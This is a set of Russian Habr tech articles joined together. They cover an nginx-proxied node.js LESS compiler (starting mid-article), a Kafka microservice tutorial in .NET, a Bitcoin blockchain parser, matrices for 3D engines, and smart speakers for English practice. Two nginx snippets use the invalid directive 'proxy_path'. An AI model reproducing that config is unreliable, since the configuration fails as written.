Мне же хотелось, чтобы LESS файлы процессировались на лету по запросу веб-сервером и, следовательно, подключались также, как и css. Такой подход лишен всех недостатков описанных выше. Однако, в этом случае чуть сложнее наблюдать за ошибками в синтаксисе LESS файлов: их можно будет видеть только в логах процессирующего сервера. Однако ошибки именно в синтаксисе LESS файлов у меня случались крайне редко, так что это не стало проблемой.
#### Решение
К своему сожалению, я не нашел процессоров LESS файлов ни на Python, ни на Java (языки, на которых я разрабатываю). Поэтому я просто написал маленький http-сервер на node.js, котрый использует код «официального» процессора LESS файлов и процессирует файлы «на лету». При таком подходе, правда, приходится перенаправлять раздачу less файлов на отдельный сервер, а значит без nginx не обойтись. В принципе, можно использовать и другие сервера (например lighttpd), но nginx мне ближе и далее все примеры конфигураций я буду рассматривать для него.
За основу я взял скрипт lessc — консольный процессор LESS файлов, незначительно его модифицировав и сохранив все параметры запуска (позволяющие, например, сжимать генерируемый CSS). [Исходный код](https://raw.github.com/daniilguit/less.js/master/bin/lessserv) написанного мной сервера. Он стартует на порту 1337 и любой запрос трактует как относительный путь до .less файла, который процессирует и отдает.
Далее настроил nginx так, чтобы все less файлы проходили процессинг на полученном http-сервере:
```
location ~ \.less$ {
proxy_path http://127.0.0.1:1337;
}
```
Все! Тепепрь можно спокойно использовать LESS в своих проектах, не боясь за время загрузки и не вызывая препроцессор вручную. Просто вставляю .less файлы как обычные .css:
```
```
##### Кеширование
Процессировать LESS файл на каждый запрос на боевом сервере, безусловно, слишком накладно. Тут нас спасет возможность nginx кешировать ответы стоящих «за ним» серверов: в этом случае результат обработки LESS файлов будет кешироваться nginx-ом (на файловой системе) в течении заданного периуда времени, например 30 секунд. Один раз в 30 секунд процессировать LESS файлы не нагрузит систему, а 30 секундные задержки при обновлении файла со стилями обычно вполне допустимы (при желании можно выбрать и меньшее время хранения кеша).
Конфигурация nginx изменится следующим образом:
```
# Где хранить кеш, параметры кеширования + название конфигурации кеша
# Подробно: http://nginx.org/ru/docs/http/ngx_http_proxy_module.html#proxy_cache_path
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=microcache:5m max_size=1000m;
server {
# ... Тут ваша конфигурация сервера
#
location ~ \.less$ { # фильтруем файлы с расширением .less
proxy_cache microcache; # активируем кеширование (на основе конфигурации microcache) только для раздачи .less файлов
proxy_cache_valid 200 30s; # включаем кеширование ответов сервера с кодом 200 (ОК) в течении 30 секунд
proxy_pass http://127.0.0.1:1337; # перенаправляем запрос на http-серер занимающийся процессингом
}
}
```
#### Пошаговая инструкция
Рассмотрим теперь кратко, по шагам, что нужно сделать, что бы развернуть такое у себя:
1. Устанавливаем node.js. На линуксе — ставим из репозиториев, на мак и вин ставим с [оффсайта](http://nodejs.org/)
2. Устанавливаем (если еще не используется) nginx и конфигурируем на раздачу вашего сайта
3. Скачиваем c [github](https://github.com/cloudhead/less.js) исходники LESS процессора
4. Берем [исходный код http-сервера](https://raw.github.com/daniilguit/less.js/master/bin/lessserv) и кладем его в скаченную папку с LESS процессором в поддерикторию bin
5. Находясь в директории bin в исходниках LESS запускаем http-сервер командой
```
node lessserv --path=/path/to/project/root
```
После --path= идет путь до корня вашего проекта, откуда будут раздаваться .less файлы. Все ошибки в процессировании будут выводиться в консоль.
6. Перенаправляем все запросы к .less файлам через запущенный http-cервер
```
location ~ \.less$ {
proxy_path http://127.0.0.1:1337;
}
```
7. На боевом сервере включаем кеширование для результатов обработки .less файлов
#### Ссылки
* [Официальная страница LESS с описанием языка](http://lesscss.org/)
* [Главная страница node.js, на которой написан пример простейшего http-сервера](http://nodejs.org/)
* [Статья про кеширование в nginx](http://fennb.com/microcaching-speed-your-app-up-250x-with-no-n) | https://habr.com/ru/post/138103/ | null | ru | null |
# Создаем микросервисную архитектуру вместе с Apache Kafka и .NET Core 2.0
Доброго времени суток! Apache Kafka – очень быстрый распределенный брокер сообщений, и сегодня я расскажу как его “готовить” и реализовать с его помощью простую микросервисную архитектуру из консольных приложений. Итак, всем, кто хочет познакомиться с Apache Kafka и опробовать ее в деле, добро пожаловать под кат.
Обзорная часть
--------------
### Введение
Данный материал ни в коем случае не претендует ни на доскональное описание Apache Kafka, ни на тонкие вопросы построения микросервисной архитектуры. Единственное, что надо знать — это как строить приложения на платформе .NET. Мы будем использовать .Net Core 2.0
Итак, что мы в итоге создадим? Приложение, которое подскажет, как назвать своего ребенка. Для простоты, оно будет выдавать случайные мужские и женские имена из заранее составленного списка. Система будет состоять из двух консольных приложений и одной библиотеки.
Идея в том, чтобы построить не “монолитное”, а распределенное приложение. Тем самым, мы обеспечим себе задел для будущего масштабирования и множество других преимуществ, описанных, например, [здесь.](https://habrahabr.ru/company/mailru/blog/320962/)
Вот какая структура будет у нашей системы:
3 синих “прямоугольника” по сторонам – это консольные приложения. По сути, те два, что внизу, это микросервисы, а MainApp – пользовательское приложение, через него мы будем запрашивать имена. NameService у нас будет универсальным сервисом, способным генерировать либо мужские, либо женские имена.
Оранжевый “прямоугольник” посередине – брокер сообщений Apache Kafka. Брокер сообщений это то, что связывает все части нашей системы воедино. В нашем случае мы будем использовать Apache Kafka, но с таким же успехом могли бы воспользоваться RabbitMQ, ActiveMQ, или каким-нибудь еще.
А вот так происходит взаимодействие MainApp c Apache Kafka:
Работает это по следующей схеме:
1. Пользователь запрашивает какие-то данные (в нашем случае, мужское или женское имя).
2. MainApp посылает сообщение (на схеме это «Команды») в Apache Kafka, которое автоматически получают все необходимые нам сервисы.
3. Эти сервисы отвечают тем, что также посылают другое сообщение (на схеме – данные) в Apache Kafka. MainApp принимает это сообщение из Apache Kafka (на схеме это «Данные»), заключающее в себе нужную нам информацию, и предоставляет ее пользователю.
Взаимодействие каждого сервиса с Apache Kafka происходит по аналогичной “двухсторонней” схеме.
Обратите внимание, MainApp ничего не знает о NameService, и наоборот. Все взаимодействие происходит через Apache Kafka. Но и MainApp, и NameService должны использовать одни и те же «каналы связи». На практике это означает, что, например, название топика, куда посылает сообщения MainApp, должно полностью совпадать с названием топика, из которого «слушает» сообщения NameService.
Как видите, работа Apache Kafka в нашем примере заключается в передаче сообщений между разными элементами системы. Именно этим, исключительно быстро и надежно, она и занимается. Конечно, у нее есть другие возможности, почитать о них можно на официальном сайте [здесь](https://kafka.apache.org/uses)
### Что такое Apache Kafka
Apache Kafka – распределенный брокер сообщений. По сути, это система, которая может очень быстро и эффективно передавать ваши сообщения. В качестве сообщений могут выступать любые типы данных, поскольку для Kafka это всего лишь последовательность байтов. Apache Kafka может работать как на одной машине, так и на нескольких, которые вместе образуют кластер и повышают эффективность всей системы. В нашем случае мы запустим Apache Kafka локально, и для взаимодействия с ней будем использовать библиотеку от Confluent.
Важно понять то, как работает Apache Kafka. Мы можем писать в нее сообщения, и можем читать из нее. Все сообщения в Kafka принадлежат к тому или иному топику (topic). Топик – это как заглавие, и он должен быть определен для каждого сообщения, которое мы хотим передать в Apache Kafka. Точно также, если мы собираемся читать из Kafka сообщения, мы должны указать, с каким топиком будут эти сообщения.
Топик поделен на разделы, и их количество мы указываем, как правило, самостоятельно. Количество разделов в топике имеет большое значение для производительности, почитать об этом можно [тут](https://www.confluent.io/blog/how-to-choose-the-number-of-topicspartitions-in-a-kafka-cluster/)
Практическая часть
------------------
### Скачиваем и запускаем Apache Kafka 0.11
На данный момент последней версией является версия 0.11. Скачайте архив с официального сайта (https://kafka.apache.org/downloads) и распакуйте в любую папку. Дальше из консоли надо запустить 2 файла (zookeeper-server.start и kafka-server-start) следующим образом.
Открываем первую консоль (если распаковали на диск С, открываем от имени Администратора, на всякий случай), переходим туда, где мы распаковали наш архив с Kafka, и вводим команду:
bin\windows\zookeeper-server-start.bat config\zookeeper.properties
После этого, если все хорошо и этот процесс не прекратился вскоре после старта, открываем так же вторую консоль, и запускаем уже саму Apache Kafka
bin\windows\kafka-server-start.bat config\server.properties
Только что мы запустили Zookeeper и Apache Kafka со стандартными настройками, указанными в zookeeper.properties и server.properties соответственно. Zookeeper – необходимый элемент, без него Apache Kafka не работает.
Полную информацию о запуске и конфигурировании Kafka можно посмотреть на [официальном сайте](https://kafka.apache.org)
### Начинаем кодить
Итак, Kafka запущена, теперь создадим наше “распределенное“ приложение. Оно будет состоять из 2 консольных приложений и одной библиотеки. В результате получим решение из 3 проектов, которое будет выглядеть примерно вот так:
Наша библиотека — это “обертка” вокруг библиотеки Confluent.Kafka, она нам нужна для взаимодействия с Apache Kafka. Кроме этого, она будет использоваться каждым из наших консольных приложений.
Библиотека предназначена для целевой платформы .NET Core 2.0 (Хотя, с таким же успехом могла бы быть создана для платформы .NET Standard) Ее код представлен ниже. Обратите внимание, для нее необходимо скачать nuget пакет Confluent.Kafka.
**MessageBus.cs**
```
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using Confluent.Kafka;
using Confluent.Kafka.Serialization;
namespace MessageBroker.Kafka.Lib
{
public sealed class MessageBus : IDisposable
{
private readonly Producer \_producer;
private Consumer \_consumer;
private readonly IDictionary \_producerConfig;
private readonly IDictionary \_consumerConfig;
public MessageBus() : this("localhost") { }
public MessageBus(string host)
{
\_producerConfig = new Dictionary { { "bootstrap.servers", host } };
\_consumerConfig = new Dictionary
{
{ "group.id", "custom-group"},
{ "bootstrap.servers", host }
};
\_producer = new Producer(\_producerConfig, null, new StringSerializer(Encoding.UTF8));
}
public void SendMessage(string topic, string message)
{
\_producer.ProduceAsync(topic, null, message);
}
public void SubscribeOnTopic(string topic, Action action, CancellationToken cancellationToken) where T: class
{
var msgBus = new MessageBus();
using (msgBus.\_consumer = new Consumer(\_consumerConfig, null, new StringDeserializer(Encoding.UTF8)))
{
msgBus.\_consumer.Assign(new List { new TopicPartitionOffset(topic, 0, -1) });
while (true)
{
if (cancellationToken.IsCancellationRequested)
break;
Message msg;
if (msgBus.\_consumer.Consume(out msg, TimeSpan.FromMilliseconds(10)))
{
action(msg.Value as T);
}
}
}
}
public void Dispose()
{
\_producer?.Dispose();
\_consumer?.Dispose();
}
}
}
```
**Немного пояснений к коду библиотеки**Обертка для того и создана, чтобы все взаимодействие с Apache Kafka упростить донельзя и сосредоточиться на моментах во взаимодействии элементов системы друг с другом. В библиотеке есть два метода: SendMessage() и SubscribeOnTopic, в рамках туториала больше и не надо. Еще в SubscribeOnTopic мы подписываемся на топик и непрерывно «слушаем» сообщения, поэтому чтобы подписаться на несколько топиков, лучше запускать их в отдельных потоках, что мы и будем делать далее при использовании этой библиотеки с помощью конструкций Task.Run().
Далее мы построим “главное” приложение MainApp, а потом наш “микросервис” NameService, который запустим после в двух экземплярах. Каждый из них будет отвечать за генерацию либо мужских, либо женских имен.
Код простого консольного приложения MainApp для целевой платформы .NET Core 2.0 приведен ниже. Обратите внимание, в нем необходимо добавить ссылку на библиотеку, которую мы только что построили и которая находится в пространстве имен MessageBroker.Kafka.Lib.
**MainApp.cs**
```
using System;
using System.Threading;
using MessageBroker.Kafka.Lib;
using System.Threading.Tasks;
namespace MainApp
{
class Program
{
private static readonly string bTopicNameCmd= "b_name_command";
private static readonly string gTopicNameCmd = "g_name_command";
private static readonly string bMessageReq = "get_boy_name";
private static readonly string gMessageReq= "get_girl_name";
private static readonly string bTopicNameResp = "b_name_response";
private static readonly string gTopicNameResp= "g_name_response";
private static readonly string userHelpMsg = "MainApp: Enter 'b' for a boy or 'g' for a girl, 'q' to exit";
static void Main(string[] args)
{
using (var msgBus = new MessageBus())
{
Task.Run(() => msgBus.SubscribeOnTopic(bTopicNameResp, msg => GetBoyNameHandler(msg), CancellationToken.None));
Task.Run(() => msgBus.SubscribeOnTopic(gTopicNameResp, msg => GetGirlNameHandler(msg), CancellationToken.None));
string userInput;
do
{
Console.WriteLine(userHelpMsg);
userInput = Console.ReadLine();
switch (userInput)
{
case "b":
msgBus.SendMessage(topic: bTopicNameCmd, message: bMessageReq);
break;
case "g":
msgBus.SendMessage(topic: gTopicNameCmd, message: gMessageReq);
break;
case "q":
break;
default:
Console.WriteLine($"Unknown command. {userHelpMsg}");
break;
}
} while (userInput != "q");
}
}
public static void GetBoyNameHandler(string msg)
{
Console.WriteLine($"Boy name {msg} is recommended");
}
public static void GetGirlNameHandler(string msg)
{
Console.WriteLine($"Girl name {msg} is recommended");
}
}
}
```
**Немного пояснений к коду MainApp**Видели много строковых readonly переменных вначале? Это названия всех топиков и сообщения, которые мы будем в них посылать. Иначе говоря, заглавия и текст сообщений. О них должны знать все сервисы, с которыми будет взаимодействовать наш MainApp, потому как названия топиков должны совпадать. Например, bTopicNameCmd — название топика для команды сервису о том, что нам надо получить мужское имя (gTopicNameCmd — аналогично). Сервис должен быть подписан на одноименный топик, чтобы получать из него сообщения и потом что-то делать.
Точно также, наш MainApp подписан на топики, в которые передают полезную информацию наши сервисы NameService. Например, переменная bTopicNameResp — это название топика, который предусмотрен для готовых мужских имен, которые сгенерировал NameService. Сервис посылает имя в этот топик, а MainApp их оттуда получает.
Далее представлен код “микросервиса” NameService. Обратите, внимание, здесь тоже надо добавить ссылку на уже созданную нами библиотеку в пространстве имен MessageBroker.Kafka.Lib
**NameService.cs**
```
using System;
using System.Threading;
using System.Threading.Tasks;
using MessageBroker.Kafka.Lib;
namespace NameService
{
class Program
{
private static MessageBus msgBus;
private static readonly string userHelpMsg = "NameService.\nEnter 'b' or 'g' to process boy or girl names respectively";
private static readonly string bTopicNameCmd = "b_name_command";
private static readonly string gTopicNameCmd = "g_name_command";
private static readonly string bTopicNameResp = "b_name_response";
private static readonly string gTopicNameResp = "g_name_response";
private static readonly string[] _boyNames =
{
"Arsenii",
"Igor",
"Kostya",
"Ivan",
"Dmitrii",
};
private static readonly string[] _girlNames =
{
"Nastya",
"Lena",
"Ksusha",
"Katya",
"Olga"
};
static void Main(string[] args)
{
bool canceled = false;
Console.CancelKeyPress += (_, e) =>
{
e.Cancel = true;
canceled = true;
};
using (msgBus = new MessageBus())
{
Console.WriteLine(userHelpMsg);
HandleUserInput(Console.ReadLine());
while (!canceled) { }
}
}
private static void HandleUserInput(string userInput)
{
switch (userInput)
{
case "b":
Task.Run(() => msgBus.SubscribeOnTopic(bTopicNameCmd, (msg) => BoyNameCommandListener(msg), CancellationToken.None));
Console.WriteLine("Processing boy names");
break;
case "g":
Task gTask = Task.Run(() => msgBus.SubscribeOnTopic(gTopicNameCmd, (msg) => GirlNameCommandListener(msg), CancellationToken.None));
Console.WriteLine("Processing girl names");
break;
default:
Console.WriteLine($"Unknown command. {userHelpMsg}");
HandleUserInput(Console.ReadLine());
break;
}
}
private static void BoyNameCommandListener(string msg)
{
var r = new Random().Next(0, 5);
var randName = \_boyNames[r];
msgBus.SendMessage(bTopicNameResp, randName);
Console.WriteLine($"Sending {randName}");
}
private static void GirlNameCommandListener(string msg)
{
var r = new Random().Next(0, 5);
var randName = \_girlNames[r];
msgBus.SendMessage(gTopicNameResp, randName);
Console.WriteLine($"Sending {randName}");
}
}
}
```
**Немного пояснений к коду NameService**Сервис работает по следующей схеме:
1. Сначала определяемся, мужские или женские имена данные сервис будет генерировать (т.е. просто выбирать случайное имя из подготовленного списка, в нашем случае)
2. Подписываемся на соответствующий топик
В теле метода обработчика события мы посылаем сообщение с готовым именем в топик, на который MainApp уже подписан. А это событие наступает каждый раз, как MainApp посылает сообщение о том, что нужно получить какое-то имя.
### Запускаем
На этом этапе у вас, по идее, уже должно быть готовое решение со всем необходимым кодом. Далее можно поступить следующим образом: настроить решение так, чтобы запускались сразу 2 приложения (MainApp и NameService), и запустить их (**Только проверьте, что у вас уже запущена Apache Kafka**). В NameService вводим 'b', или 'g', чтобы настроить сервис для генерирования мужских или женских имен, после чего, точно также, вводим в MainApp 'b' или 'g', но уже для получения этих самых имен. После чего в MainApp вы должны получить какое-то имя.
На данном этапе мы получаем имена только одного пола. Допустим, только мужского. Теперь мы захотели получать имена женского пола. Идем в папку, куда собрался наш проект NameService, и запускаем в консоли еще один сервис с помощью команды "**dotnet NameService.dll**".
Вводим в нем команду 'g', и теперь, при запросе женского имени в MainApp, мы его получаем.
Кстати, таким образом можно запустить сколько угодно сущностей NameService, и в этом заключается одно из достоинств микросервисной архитектуры. Например, если один из сервисов «упадет», вся система не рухнет, т.к. у нас есть другие сервисы, которые делают точно такую же работу.
Одно но: cейчас если мы, например, запустим 5 штук NameService, то в MainApp придет 5 имен, а не одно. Это из-за настроек Apache Kafka, прописанных в файле server.properties. В рамках туториала я этого намеренно не касаюсь, чтобы не усложнять материал.
Заключение
----------
В данной статье я хотел как можно проще и доступнее описать принцип построения микросервисной архитектуры и познакомить читателя с распределенным брокером сообщений Apache Kafka на живом примере. Надеюсь, получилось, и спасибо за внимание:)
### Ссылки на использованные в статье материалы
1. [Официальный сайт Apache Kafka](https://kafka.apache.org/uses)
2. [О разделах в Apache Kafka от Confluent](https://www.confluent.io/blog/how-to-choose-the-number-of-topicspartitions-in-a-kafka-cluster/)
3. [Перевод статьи Мартина Фаулера о микросервисах](https://habrahabr.ru/post/249183/)
4. [Apache Kafka для начинающих](https://blog.cloudera.com/blog/2014/09/apache-kafka-for-beginners/)
5. [Перевод статьи от Mail.ru о микросервисах](https://habrahabr.ru/company/mailru/blog/320962/) | https://habr.com/ru/post/336058/ | null | ru | null |
# Парсер цепочки блоков Bitcoin (с исходниками)
Разработчик znort987 выложил на github программу [blockparser](https://github.com/znort987/blockparser) — быстрый парсер на C++ цепочки блоков с транзакциями Bitcoin. Как известно, в Bitcoin все транзакции [публикуются в открытом доступе](http://blockchain.info/) с момента основания системы по сегодняшний день: это 4,4 млн адресов, которые когда-либо получали BTC, и 17,8 млн адресов, отправлявших BTC.
Каждый адрес представляет собой хэш ripemd-160 от открытого ключа пользователя (обычно адреса переводят в формат base58 для удобства). Для каждой транзакции можно использовать новый адрес.
Парсер позволяет составить всех транзакций для любого адреса (<20 сек), определить адреса, вероятно, принадлежащие одному кошельку (20 сек), и даже вывести список всех существующих адресов с подсчитанным балансом для каждого (30 сек). В общем, очень полезная утилита.
Вот [некоторые результаты](https://bitcointalk.org/index.php?topic=88584), которые выдаёт парсер.
Например, двадцатка «самых богатых» адресов Bitcoin по состоянию на 19 июня 2012 года (формат hash160).
```
Баланс Адрес
28150.00000000 14c1ed72d09150b8e5f49d94d53070d2c1f1db36
29999.99000000 e6071c924e820f01ac64ed98ec739235e6a2f089
31000.00000000 12d5a845f2b212ce0c3bd65a4035881d9219090e
38000.00000000 4ff9d8d6614b1da5b3e46ef51c61a544626bf6e5
38057.08507373 a235c56e106baeeefc2b02bb82643179f89664f1
40000.00000000 06b7e90bb7a54137beb01c87119a3cd9061d7d52
40000.00000000 3a9a59b996775fbfec889caf30d58368fb368c0e
40000.00000000 0e1d5b7a760ddc32481d9cfc6062107624bac625
44511.44100000 73048525c8c4dda15cf0e9b648a795ef30371e00
44913.50856333 dff15b42ce923b6a9fbae4024600ac9c13dd0029
45000.00000000 f68212be6db427d4b30f01113920db0e9e457c8d
47457.46000000 6fbe1851f5d1de5477d147e93b3da5c0c98f4e8e
50000.00000000 f1c87a5e8ff7d14e74b858089bf771c94b1b6db4
50000.00000000 863ec44fbf7c9ed0819b52f275006b22ba781794
50129.66980000 2004f419e735115cb2a42cbc76f5b0a20c9698f8
53000.00000000 3d9e561f21d312f9b8b46e74169263e2452d5591
59258.88000000 89a37004da17f792487bcc26f853c7722c56fd91
79956.00100000 a0b0d60e5991578ed37cbda2b17d8b2ce23ab295
105555.00000000 582431b9e63d2394c8b224d1bc45d07ae95d2379
438824.90216295 8bf24a18a58ab500d30c73bf21dbf4703d31ad2c
```
Текущий курс BTC составляет $6,50 за 1 BTC.
На вышеупомянутом форуме автор опубликовал кластер адресов для кошелька, на который были перечислены биткоины в результате известного ограбления Linode. | https://habr.com/ru/post/146388/ | null | ru | null |
# Основы линейной алгебры для 3D-приложений. Урок 3
#### Матрицы и заключение.
Завершающий урок из цикла про линейную алгебру для 3D-приложений от Александра Паничева — ведущего разработчика логики в UNIGINE. В [прошлом уроке](https://habr.com/ru/company/unigine/blog/672930/) мы разобрали углы Эйлера и кватернионы, а в этот раз поговорим о матрицах и подведем итоги.
### Матрицы
Проще говоря, матрица в 3D-графике — это массив чисел, расположенных по строкам и столбцам:
В 3D-приложениях используются матрицы либо размером 3х3 (матрицы вращения), либо 4х4 (матрица трансформации). Рассмотрим матрицу 4х4 (трансформацию).
В первых трех столбцах находится вращение (*Rotation*), которое представлено в виде трех ортогональных друг к другу векторов (ось вправо, ось вперед, ось вверх), а по диагонали масштабирование (*Scale*).
*Почему так? Смотрите* [*предыдущую лекцию*](https://habr.com/ru/company/unigine/blog/672930/)*. Все дело в самой природе комплексных чисел.*
В четвертом столбце — смещение (*Translation*). А единица под смещением — это гомогенная координата. Если она равна 1 — позволяет сдвигать вектор перемножением матриц. А если равна 0 — *Translation* считается вектором направления.
Как правило, для удобства работы все объекты в виртуальном мире формируются в определенные иерархии. Такие иерархии называются родительско-дочерними связями.
*Например: пистолет в руке главного героя. «Пистолет» является дочерним к объекту «герой».*
Когда мы выбираем объекты в 3D-редакторе, в инспекторе объектов справа вверху всегда видна локальная матрица трансформации (декомпозиция локальной матрицы). В ней *Position*, *Rotation* и *Scale* показываются относительно родителя. То есть родитель становится центром начала координат.
1. Родительско-дочерняя связь с точки зрения кода и матриц реализуется как:
```
world_B = world_A * local_B
local_B = inverse(world_A) * world_B
```
Где `world_A` — глобальная (родительская) матрица трансформации, скажем, «героя».
`local_b` — локальная (дочерняя) матрица, к примеру, «пистолета».
`world_b` — это ее глобальная (мировая) матрица трансформации.
2. Узнать положение точки `(vec3_world_position_B)` относительно «глаз» объекта A:
```
vec3 relative_pos_B = inverse(world_A) * vec3_world_position_B;
```
3. Связь с камерой:
```
view = inverse(transform)
```
где `transform` — матрица трансформации камеры,
`view` — матрица, которая необходима для перевода вершины какой-либо модели в экранное пространство (читаем про тройку преобразований `model * view * projection`).
4. Детерминант mat3 — это объем параллелепипеда из XYZ осей **со знаком**.
5. Ранг mat3 — проверка на «схлопывание» базиса в плоскость (2) или в линию (1).
6. Транспонирование — перевод столбцов в строки:
```
transpose(mat3) == inverse(mat3)
```
Если базисные вектора ортогональны и единичной длины (т.е., для любой матрицы вращения или в случае mat4 — если позиция нулевая).
### Собираем матрицу в движке UNIGINE
Здесь и далее мы рассказываем про то, как работает UNIGINE изнутри.
Итак, есть два пути создания матриц:
12 умножений, 15 сложений/вычитаний8 умножений, 15 сложений/вычитанийВсе это быстрее, чем `mat4(translate() * rotate() * scale())`!
#### Создание матрицы масштабирования
В матрицах есть набор таких методов, как `setScale` (или `setTranslate`). Их название часто путает — можно подумать, что они задают масштаб и смещение соответственно. Но на самом деле слово `set` лишь означает, что мы инициализируем матрицу масштабирования (или смещения). То есть каждый метод set означает новую матрицу.
#### Создание матрицы вращения
#### Углы Эйлера в матрицу и обратно
В сумме по три sincos’а, но много лишних перемножений кватернионов (выглядит и правда не очень — постараемся исправить этот код в будущих релизах)2 atan2, 1 asin#### Инвертирование
Без SSE: **140** умножений, **67** сложений! Через SSE: всего 35 \_mm\_mul\_ps. Инвертирование кватернионов все равно проще:
### Заключение
***Примечание редактора:*** *на самом деле, текст снизу предназначался для первой части лекции, где не было еще кватернионов и матриц. Но, пример слишком хорош, чтобы от него отказываться, так что давайте на миг представим, что мы не читали все то, что написано выше. :)*
Итак, просуммируем все то, что мы узнали в данной лекции. Рассмотрим задачу нахождения площади треугольника. Как ее лучше всего реализовать?
#### Как найти площадь треугольника? Вариант 1
#### Как найти площадь треугольника? Вариант 2
#### А почему?
#### Так, погодите-ка, а если немного оптимизнуть...
#### А можно сделать еще лучше?
Пару слов про SIMD (SSE, AVX):
#### Каков результат?
#### Выводы:
1. **Не используем тригонометрию** (sin/cos/tan) там, где этого можно избежать. Эти операции реально медленные.
2. Если есть возможность использовать `length2()` вместо `length()` — не отказываемся от этого.
3. По возможности производим операции над векторами, а не над компонентами векторов. SIMD — наш скрытый друг, товарищ и брат!
4. Ну и, самое важное: стараемся локализовать данные, с которыми работаем. Пишем cache-friendly код и все такое. Даже **самая тяжелая тригонометрическая операция на порядок быстрее, чем простое взятие числа из оперативной памяти**. | https://habr.com/ru/post/674540/ | null | ru | null |
# Как начать понимать на слух английский? Подружиться с умными колонками
На Хабре было много статей о том, как выучить английский язык. Это — еще одна, однако здесь будут именно лайфхаки для того, чтобы прокачать навык понимания на слух, или аудирования. Причем мой подход претендует на уникальность в рамках Хабра. Навык аудирования исторически очень плохо развит в СНГ, но всё ускоряющаяся глобализация приводит к тому, что он становится понемногу востребован даже среди технических специалистов, от которых раньше требовалось «уровень английского: чтение технической документации».
Я решил, что единственный вариант достичь желаемого — избавиться от постоянного чтения, а для этого нужно отказаться от графического интерфейса, оставив только восприятие на слух, и в этом нам помогут умные колонки. Что можно делать с ними, и как с их помощью прокачать навык аудирования — под катом.
Зачем айтишнику английский объяснять, я думаю, не надо, да и большинство айтишников в состоянии читать техническую литературу (кто еще со словарем, кто уже без). Совсем другой вопрос, когда дело заходит об устной речи — десятки акцентов носителей не делают жизнь проще, у многих людей наблюдаются проблемы с дикцией, и так далее. Да, некоторые из вас уже смотрят фильмы или сериалы в оригинале, но в фильмах снимаются актёры, и редкого человека возьмут в актёры, если у него проблемы с дикцией. Но даже начав смотреть фильмы в оригинале, сколько из вас подключают английские, или, реже, русские субтитры и «читают» фильмы годами, не сильно продвигаясь в понимании на слух?
Моя основная идея состоит в использовании умных колонок. Они изначально лишены графического интерфейса, и ваше взаимодействие будет ограничено голосовым интерфейсом. Вы будете потихоньку тренировать ваше произношение и гораздо активнее — ваше понимание на слух.
В качестве двух базовых вариантов рассмотрим две колонки-шайбы: Amazon Echo Dot и Google Home Mini. Я специально взял эксперимента ради самые дешевые колонки, но их оказалось достаточно, чтобы прокачать около 20 квадратных метров зала, в котором я обычно нахожусь. Для любителей «погромче» можно рассмотреть более мощные и дорогие варианты, но с точки зрения программных возможностей в интересующем нас ключе они все одинаковые внутри одного вендора.
Некоторые говорят, правило 10 000 часов работает, другие говорят, что нет, но независимо от мнений по поводу 10 000 часов, все сходятся в том, что без практики закрепление любых навыков идёт очень слабо.
Ниже будет краткий обзор того, что умеют умные колонки.
Google Home Mini, Google Assistant
==================================
1. Читать новости.
Для Google Home Mini можно попросить прочитать некие случайные новости, которые попадут под фильтр. Есть два варианта, первый, просто просим колонку в виде диалога:
`- Okay Google, tell me news.
- Here is the latest news...
- Okay Google, tell me financial news
- Here is the latest business news...
- Okay Google, tell me any news about PS5
- Here is the latest news from the Verge...
I also sent the article and two others to your phone (у меня Android).`
Другой вариант — настроить Routine (например, на будильник) и там указать список предпочитаемых источников. Вот мой неполный
**cписок источников**
Reuters TV
CNN News briefing
DW Newsbrief
The New York Times Briefing
BBC Global News
WSJ What's News
Bloomberg First World
Al Jazeera
CNET
Engadget
Wired
IGN
2. Воспроизводить подкасты.
`-Okay Google, play TED Talks Daily podcast (легко понимать на слух)
-OG, play The Daily podcast (легко понимать на слух)
-OG, play Planet Money podcast (легко понимать на слух)
-Okay Google, play Freakonomics podcast (интересный, про экономику, но высокий темп речи)
-Okay Google, play This American Life podcast (высокий темп речи)`
их так же можно использовать в Routines.
Больше подкастов можно найти в Google, по простому запросу «most popular podcasts»
3. Озвучивать прогноз погоды.
`-OK G, tell me the weather forecast for today.
-OK G, tell me the speed of the wind for today. (одна из тех вещей, на которую Алиса до сих пор не дает правильного ответа - скорость ветра и его направление)
-OK G, tell me the weather forecast in Moscow for tomorrow.`
4. Озвучивать курсы валют.
`-OK G, tell me the exchange rate 1 us dollar to Russian rubles
-One us dollar is approx 78.5 Russian rubles`
5. Устанавливать таймеры и будильники
`-OK G, set a timer in 5 minutes.
-OK G, set a timer named Wow in 5 minutes.`
`-OK G, set an alarm for tomorrow 8 o'clock.`
6. Устанавливать напоминания. Здесь вы сможете вовсю потренировать своё произношение.
`-OK G, set a reminder
-what's the reminder
-...
-Got it. When you want to be reminded
-...
-OK, and what's time?`
7. Включать музыку.
Очень удобно, если у вас есть подписка на YT Music) или музыку с TuneIn. Музыкальный провайдер может быть изменен (по умолчанию YT Music). Здесь тоже имеет значение, то, что и как вы говорите :) Иначе будет включать совсем не те вещи, что вы попросили
`-OK G, play Solopiano Radio.
-OK, there is Whisperings: Solopiano Radio from TuneIn`
8. Рассказывать шутки.
Не знаю, но мне кажется, что они совсем не смешные. Когда-то я изучал английский на сервисах вроде Lingua Leo, и там подборка шуток мне казалась более удачной.
`-OK G, tell me a joke`
9. Воспроизводить сказки.
`-OK G, tell me a fairy tale.
-OK, there is Beauty and the Beast retelling from StoryNory from Google Audio Books.`
Больше вариантов для взаимодействия с Google колонкой можно найти [здесь](https://support.google.com/googlenest/answer/7130274).
Amazon Echo Dot, Alexa
======================
1. Читать новости.
Умеет «начитывать» новости из ряда источников. Но источников гораздо меньше, по сравнению с Google Assistant
`- Alexa, tell me the latest news
- Anton, what's you haven't heard today ...`
После выбора предпочитаемого, остальные автоматом не будут учитываться, если не попросить отдельно. Должен отметить, что новости для Alexa имеют формат т.н. Radio News, специально сформированный для Alexa. Очень часто эти новости встречаются в формате диалогов с приглашенными гостями.
2. Воспроизводить подкасты.
`-Alexa, play TED Talks Daily podcast (легко понимать на слух)`
3. Озвучивать прогноз погоды
`-Alexa, what's is the weather forecast for tomorrow?`
Первый раз она вас шокирует имперской системой мер. Решается просто:
`-Alexa, could you use a metric system for weather forecast?`
Но теперь она будет вам говорить скорость ветра в километрах в час. Немного непривычно.
Offtopic: кто-нибудь знает, это норма для прогноза погоды в англоговорящих странах, мерять скорость ветра в километрах в час?)
4. Озвучивать курсы валют
`-Alexa, tell me the exchange rate 1 us dollar to Russian rubles
-This might answer to your question: one us dollar is about 77 Russian rubles and 60 kopeks.`
5. Устанавливать таймеры и будильники
`-Alexa, set a timer in 5 minutes`
